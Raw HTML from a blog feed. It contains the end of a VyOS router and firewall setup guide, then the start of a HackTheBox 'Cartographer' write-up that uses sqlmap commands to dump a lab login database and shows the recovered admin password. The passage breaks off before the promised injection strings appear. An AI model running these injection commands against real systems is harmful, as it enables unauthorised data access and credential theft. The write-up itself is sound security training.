&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;span class="lnt">61
&lt;/span>&lt;span class="lnt">62
&lt;/span>&lt;span class="lnt">63
&lt;/span>&lt;span class="lnt">64
&lt;/span>&lt;span class="lnt">65
&lt;/span>&lt;span class="lnt">66
&lt;/span>&lt;span class="lnt">67
&lt;/span>&lt;span class="lnt">68
&lt;/span>&lt;span class="lnt">69
&lt;/span>&lt;span class="lnt">70
&lt;/span>&lt;span class="lnt">71
&lt;/span>&lt;span class="lnt">72
&lt;/span>&lt;span class="lnt">73
&lt;/span>&lt;span class="lnt">74
&lt;/span>&lt;span class="lnt">75
&lt;/span>&lt;span class="lnt">76
&lt;/span>&lt;span class="lnt">77
&lt;/span>&lt;span class="lnt">78
&lt;/span>&lt;span class="lnt">79
&lt;/span>&lt;span class="lnt">80
&lt;/span>&lt;span class="lnt">81
&lt;/span>&lt;span class="lnt">82
&lt;/span>&lt;span class="lnt">83
&lt;/span>&lt;span class="lnt">84
&lt;/span>&lt;span class="lnt">85
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">show interfaces
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">configure
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Enable SSH for remote management: &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service ssh port &lt;span class="m">22&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure network interfaces IPv4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth0 address dhcp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth0 description &lt;span class="s1">&amp;#39;WAN&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth0 duplex full
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth0 speed &lt;span class="m">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 address 10.1.1.1/24
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 description &lt;span class="s1">&amp;#39;LAN&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 duplex full
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 speed &lt;span class="m">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth2 address 10.1.2.1/24
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth2 description &lt;span class="s1">&amp;#39;DMZ&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth2 duplex full
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth2 speed &lt;span class="m">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure network interfaces IPv4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#set interfaces ethernet eth3 address address 10.1.3.1/30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth3 description &lt;span class="s1">&amp;#39;IPS Port Mirroning&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth3 duplex full
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth3 speed &lt;span class="m">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth3 vif &lt;span class="m">5&lt;/span> description &lt;span class="s1">&amp;#39;VLAN 5 IPS Port Mirroning&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth3 vif &lt;span class="m">5&lt;/span> address 10.1.3.1/30
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 mirror eth3 &lt;span class="c1"># Mirror de eth1 a eth3 (IPS)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth2 mirror eth3 &lt;span class="c1"># Mirror de eth2 a eth3 (IPS)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure network interfaces IPv6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 address 3fb7::1/64
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert send-advert &lt;span class="nb">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert max-interval &lt;span class="m">10&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert prefix 3fb7::/64
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert other-config-flag &lt;span class="nb">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert default-preference medium
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> interfaces ethernet eth1 ipv6 router-advert managed-flag &lt;span class="nb">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure Source NAT for our &amp;#34;Inside&amp;#34; network. Ponwe un /16 no funciona&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">100&lt;/span> outbound-interface eth0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">100&lt;/span> &lt;span class="nb">source&lt;/span> address 10.1.1.0/24
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">100&lt;/span> translation address masquerade
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">101&lt;/span> outbound-interface eth0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">101&lt;/span> &lt;span class="nb">source&lt;/span> address 10.1.2.0/24
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">101&lt;/span> translation address masquerade
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">102&lt;/span> outbound-interface eth0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">102&lt;/span> &lt;span class="nb">source&lt;/span> address 10.1.3.0/30
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> nat &lt;span class="nb">source&lt;/span> rule &lt;span class="m">102&lt;/span> translation address masquerade
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure a DHCP Server IPv4:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN authoritative
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 default-router 10.1.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 dns-server 1.1.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 dns-server 9.9.9.9
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 lease &lt;span class="m">86400&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 range &lt;span class="m">0&lt;/span> start 10.1.1.100
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN subnet 10.1.1.0/24 range &lt;span class="m">0&lt;/span> stop 10.1.1.200
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcp-server shared-network-name LAN description &lt;span class="s1">&amp;#39;DHCP LAN IPv4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Configure a DHCP Server IPv6:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcpv6-server shared-network-name LAN subnet 3fb7::/64 address-range start 3fb7::10 stop 3fb7::100
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dhcpv6-server shared-network-name LAN subnet 3fb7::/64 name-server 3fb7::1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># And a DNS forwarder:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dns forwarding cache-size &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dns forwarding allow-from 10.1.1.0/24
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dns forwarding listen-address 10.1.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dns forwarding name-server 1.1.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">set&lt;/span> service dns forwarding name-server 9.9.9.9
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Apply and save&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">save
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Add a set of firewall policies for our &amp;ldquo;Outside&amp;rdquo; interface:&lt;/p>
&lt;p>set firewall name OUTSIDE-IN default-action &amp;lsquo;drop&amp;rsquo;
set firewall name OUTSIDE-IN rule 10 action &amp;lsquo;accept&amp;rsquo;
set firewall name OUTSIDE-IN rule 10 state established &amp;rsquo;enable'
set firewall name OUTSIDE-IN rule 10 state related &amp;rsquo;enable'&lt;/p>
&lt;p>set firewall name OUTSIDE-LOCAL default-action &amp;lsquo;drop&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 10 action &amp;lsquo;accept&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 10 state established &amp;rsquo;enable'
set firewall name OUTSIDE-LOCAL rule 10 state related &amp;rsquo;enable'
set firewall name OUTSIDE-LOCAL rule 20 action &amp;lsquo;accept&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 20 icmp type-name &amp;rsquo;echo-request'
set firewall name OUTSIDE-LOCAL rule 20 protocol &amp;lsquo;icmp&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 20 state new &amp;rsquo;enable'
set firewall name OUTSIDE-LOCAL rule 30 action &amp;lsquo;drop&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 30 destination port &amp;lsquo;22&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 30 protocol &amp;rsquo;tcp'
set firewall name OUTSIDE-LOCAL rule 30 recent count &amp;lsquo;4&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 30 recent time &amp;lsquo;60&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 30 state new &amp;rsquo;enable'
set firewall name OUTSIDE-LOCAL rule 31 action &amp;lsquo;accept&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 31 destination port &amp;lsquo;22&amp;rsquo;
set firewall name OUTSIDE-LOCAL rule 31 protocol &amp;rsquo;tcp'
set firewall name OUTSIDE-LOCAL rule 31 state new &amp;rsquo;enable'&lt;/p>
&lt;p>Apply the firewall policies:&lt;/p>
&lt;p>set interfaces ethernet eth0 firewall in name &amp;lsquo;OUTSIDE-IN&amp;rsquo;
set interfaces ethernet eth0 firewall local name &amp;lsquo;OUTSIDE-LOCAL&amp;rsquo;&lt;/p>
&lt;p>Once suricata is installed and inspecting nfqueue 0 (-q 0), you can send packet to it by passing the action “inspect” to a firewall rule:&lt;/p>
&lt;p>set firewall name FROM-INTERNET default-action drop
set firewall name FROM-INTERNET description “From Internet”
set firewall name FROM-INTERNET rule 10 description “Pass port 22 traffic to Suricata”
set firewall name FROM-INTERNET rule 10 action inspect
set firewall name FROM-INTERNET rule 10 protocol tcp
set firewall name FROM-INTERNET rule 10 destination port ssh&lt;/p>
&lt;p>and this will send packets to nfqueue 0&lt;/p></description></item><item><title>Cartographer Writeup HackTheBox Web Challenge</title><link>https://www.procamora.com/p/ecartographer-writeup-hackthebox-web-challenge/</link><pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ecartographer-writeup-hackthebox-web-challenge/</guid><description>&lt;img src="https://www.procamora.com/covers/htb.png" alt="Featured image of post Cartographer Writeup HackTheBox Web Challenge" />&lt;p>&lt;img src="https://www.procamora.com/img.png"
loading="lazy"
alt="img.png"
>&lt;/p>
&lt;p>La descripción del reto es la siguiente:&lt;/p>
&lt;p>&lt;em>Some underground hackers are developing a new command and control server. Can you break in and see what they are up to?&lt;/em>&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/cartographer_login.png"
loading="lazy"
alt="Login"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Con esta información no obtenemos ninguna pista de por donde empezar, por lo que la primera opción sera usar un ataque de fuerza bruta al login, pero lamentablemente no se ha conseguido obtener nada con varios diccionarios utilizados.&lt;/p>
&lt;p>El segundo paso es probar con SQL Injection, ya que puede ser que funcione, para esto primero se probará con la herramienta &lt;em>sqlmap&lt;/em>, que permite automatizar este proceso.&lt;/p>
&lt;p>Para esto es necesario hacer primero un login y ver cual es la url a la que se envían los parámetros del POST. Se puede ver que se envía a la raíz y que los parámetros son &lt;em>username&lt;/em> y &lt;em>password&lt;/em>. Con esta información ya se puede ejecutar la herramienta, podemos ver la ejecución a continuación:&lt;/p>
&lt;p>La primera consulta que se ejecutará será para intentar obtener todas las bases de datos disponibles, esto se realiza con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlmap -u http://docker.hackthebox.eu:32093/index.php --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;username=a&amp;amp;password=b&amp;#34;&lt;/span> -p &lt;span class="s2">&amp;#34;username&amp;#34;&lt;/span> --method POST --level&lt;span class="o">=&lt;/span>&lt;span class="m">5&lt;/span> --risk&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span> --batch --dbs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Obteniendo la siguientes bases de datos, esta claro que la que nos interesa es &lt;em>cartographer&lt;/em>, por lo que el siguiente paso es obtener las tablas de esa base de datos.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">available databases [5]:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] cartographer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] information_schema
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] mysql
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] performance_schema
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] sys
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para obtener las tablas de la base de datos &lt;em>cartographer&lt;/em> ejecutaremos el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlmap -u http://docker.hackthebox.eu:32093/index.php --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;username=a&amp;amp;password=b&amp;#34;&lt;/span> -p &lt;span class="s2">&amp;#34;username&amp;#34;&lt;/span> --method POST --level&lt;span class="o">=&lt;/span>&lt;span class="m">5&lt;/span> --risk&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span> --batch -D cartographer --tables
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>La única tabla de la base de datos es users, por lo que ahora sería necesario ver los usuarios de esta tabla.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">users
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Database: cartographer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[1 table]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+-------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| users |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+-------+
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para obtener los usuarios, se va a realizar un dump de la base de datos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlmap -u http://docker.hackthebox.eu:32093/index.php --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;username=a&amp;amp;password=b&amp;#34;&lt;/span> -p &lt;span class="s2">&amp;#34;username&amp;#34;&lt;/span> --method POST --level&lt;span class="o">=&lt;/span>&lt;span class="m">5&lt;/span> --risk&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span> --batch -D cartographer --dump
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Con lo que obtendríamos las credenciales del único usuario que hay creado, que como se puede ver no esta preparado para sacar por fuerza bruta.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Database: cartographer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Table: users
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[1 entry]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+------------------------------+----------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| password | username |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+------------------------------+----------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| mypasswordisfuckinawesome123 | admin |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+------------------------------+----------+
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Toda la información anterior se puede obtener unicamente con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlmap -u http://docker.hackthebox.eu:32093/index.php --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;username=a&amp;amp;password=b&amp;#34;&lt;/span> -p &lt;span class="s2">&amp;#34;username&amp;#34;&lt;/span> --method POST --level&lt;span class="o">=&lt;/span>&lt;span class="m">5&lt;/span> --risk&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span> --batch --dbs --dump
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Además hemos obtenido la base de datos que hay, que podría ser usada para buscar alguna vulnerabilidad, esta base de datos es:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[21:53:25] [INFO] the back-end DBMS is MySQL
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">back-end DBMS: MySQL &amp;gt;= 5.0.12
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Otra forma más rápida de conseguir un login correcto sería usar directamente SQL Injection sobre el formulario, por ejemplo se podrían poner cualquiera de las tres sentencias en usuario y contraseña:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
